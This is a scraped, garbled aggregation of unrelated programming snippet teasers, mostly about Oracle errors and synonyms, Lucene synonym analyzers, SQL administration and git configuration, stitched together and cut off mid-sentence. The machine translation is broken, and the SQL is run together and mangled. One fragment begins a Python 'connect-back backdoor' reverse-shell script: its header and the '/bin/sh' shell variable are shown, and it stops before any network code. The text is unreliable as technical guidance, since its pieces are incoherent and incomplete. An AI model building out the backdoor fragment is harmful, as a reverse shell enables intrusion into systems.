Using expdp to export data today, we found an error reporting ORA-01775, as shown below:
This is an error reported when exporting data on the server. Then, I tried it on my local machine and found that the data can be exported successfully. I searched the internet becauseCause of the synonym sys_export_schema_01: expdp automatically generates the table during the export process. If the operation is interrupted in the middle, the table will exist,
Tags: 02055 02049 02063Symptom: 02055 02049 02063 06512 error reported in Target library during stored procedureTroubleshooting process:1. Querying the 110 rows of the stored procedure is just a simple delete action2, through the following SQL statement to find the deadlock, no deadlockSELECT ' alter system kill session ' | | Chr (39) | | l.session_id| | ', ' | | s.serial#| | Chr (39) | | immediate; ', l.session_id sid,s.serial#,l.locked_mode,l.oracle_username,l.os_user_name,S.machine,s.terminal
Title Requirements:First, synonyms maintain a given interface, set two words to each other synonyms. Synonyms have mutual transitive, if A and B are synonyms, B and C are synonyms, then A, B, C are synonyms. requires an interface to query a given two but whether it is a synonym relationship. and can provide the interface to clear all the synonyms relationship. Interface Description/** * Set 2 words for synonyms * @param word1 word one * @param word2 w
Previous article Lucene participle process explained some of the process of participle, we also have a preliminary understanding of the word segmentation process, know that a word breaker consists of multiple tokenizer and Tokenfilter, This article explains that we use these two features to implement their own a simple synonym word breaker, the wrong place please point out(i) AnalysisHow to implement synonyms? For example, Chongqing can be called Moun
Today, I encountered a problem, which is easy to say, but it bothered me for half a day.
After upgrading the database, a function can not run, in the background to observe its SQL, found that SQL contains a package can not be executed, error ora-00904 invalid identifier
Wmsys. dbms_lob.xxx is the package.
Select * from dba_source; you can find that dbms_lob belongs to sys.
Change wmsys. dbms_lob.xxx in SQL to sys. dbms_lob.xxx or dbms_lob.xxx.
However, developers do not want to modify the s
CAST function shocould support INT synonym for SIGNED. I. e. CAST (y AS INT), synonymi. e
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Bug #73054.
CAST function shocould support INT synonym for SIGNED. I. e. CAST (y AS INT)
Submitted:
19 Jun 2014
Modified:
30 Jun 2014
Reporter:
Morgan Tocker
Email
Today we implement a simple word breaker, just do the demo using the following functions:
1, the participle according to the space, the horizontal bar, the point number to divide;
2, the implementation of HI and hello synonym query function;
3, to achieve hi and hello synonym highlighting;
Myanalyzer Implementation code:
public class Myanalyzer extends Analyzer {
private int analyzertype;
public myanal
INDEX Emp01_id_ixon EMP01 (employee_id)To delete an index:Drop INDEX Emp01_id_ixWhen do I create an index? You can create an index in the following situations:A wide range of data values are distributed in columnsColumns often appear in a WHERE clause or join conditionTables are often accessed and data volumes are large, and the data accessed is roughly 2% to 4% of the total dataWhen do I not create an index? Do not create an index in the following situations:The table is small.Columns are not
Tags: from use drop user sel art creat seq Test--Create synonymsCreate synonym t_system_userdepartment for Xtzl. T_system_userdepartment;--Query synonymsSELECT * from SYS. all_synonyms WHERE synonym_name= ' t_system_post ';--Query the synonyms under the current userSELECT * from user_synonyms;--Authorization inquiryGrant SELECT on Tabel1 to SECMGT-REVOKE permission;Revoke insert on t_system_userdepartment from SECMGT;--Query the serial number under th
' you' is also 1, ' You ' and ' thank ' is also 1 * @see but suppose ' are ' is a stop word (stopfilter effect), then the position increment between ' how ' and ' You ' becomes 2 * @see When we look for an element, Lucene first takes the element by its position increment, but what happens if the two-word position increment is the same? * @see Suppose there is also a word ' this ', its position increment and ' how ' are the same, Then when we search for ' this ' in the interface * @see will also
, r_constraint_namefromuser_constraintswheretable_name=upper ('
table_name '); Sql>selectc.constraint_name,c.constraint_type,cc.column_namefromuser_constraintsc, User_cons_columnsccwherec.owner=upper (' table_owner ') andc.table_name=upper (' table_name ') andc.owner=cc.owner andc.constraint_name=cc.constraint_name orderbycc.position; 8. Storage functions and proceduresView the status of functions and proceduresSql>select object_name,status from user_objects where object_type= ' FUNCTION '
first of all, solve the teacher in Class A problem: The compiler default access path. In fact, to solve this problem is also very simple is to recompile the path of the file. Because the package that the class is in is not added to the class Path,
1. The distinction between uppercase and lowercase letters is ignored when writing identifiers.
Main ()
{int a=5;
printf ("%d", A); }
The compiler says that a and a are two different variable names, and the error message is displayed. C considers
PHP development direction, cutting-edge technology, advanced technology
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Composer relies on management. Solve the problem of the
I don't know why I suddenly want to see this.The anti-shell code of python in the ego#! /Usr/bin/Python# Python connect-back Backdoor# Author: wofeiwo # Version: 1.0# Date: July 15th 2006Import sysImport OSImport socketShell = "/bin/sh"Def usage
Code for writing ASP source program
1 Specification Introduction
This code mainly stipulates the ASP source program in the writing process should follow the rules and precautions. The purpose of writing this specification is to keep the code writing
To give you the homework to help the users of the software to detailed analysis to share the students circle posts blocked solution.
Method Sharing:
In order to give all users a clean and tidy social circle, the job help has a very
This week's completion of the personal performance goals, summed up is probably a word-"drive", drive the business, drive the ego, drive the team. The driving force is one of the weaker points I've done in the past, but this year I hope to develop
In ~ /Directory
Create or modify a file gedit. gitconfig
Copy the following to the default configuration.
[Color]
Ui = auto
[User]
Name = w22ee
Email = w22ee@126.com
[Alias]
St = Status
Ci = commit
BR = Branch
CO = checkout
CVSup =! Sh-C \ "Git
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Map
Defines the first address of a structured memory table. In this case, the location counter of the memory table
{Var}
Set to this address value
{Var}
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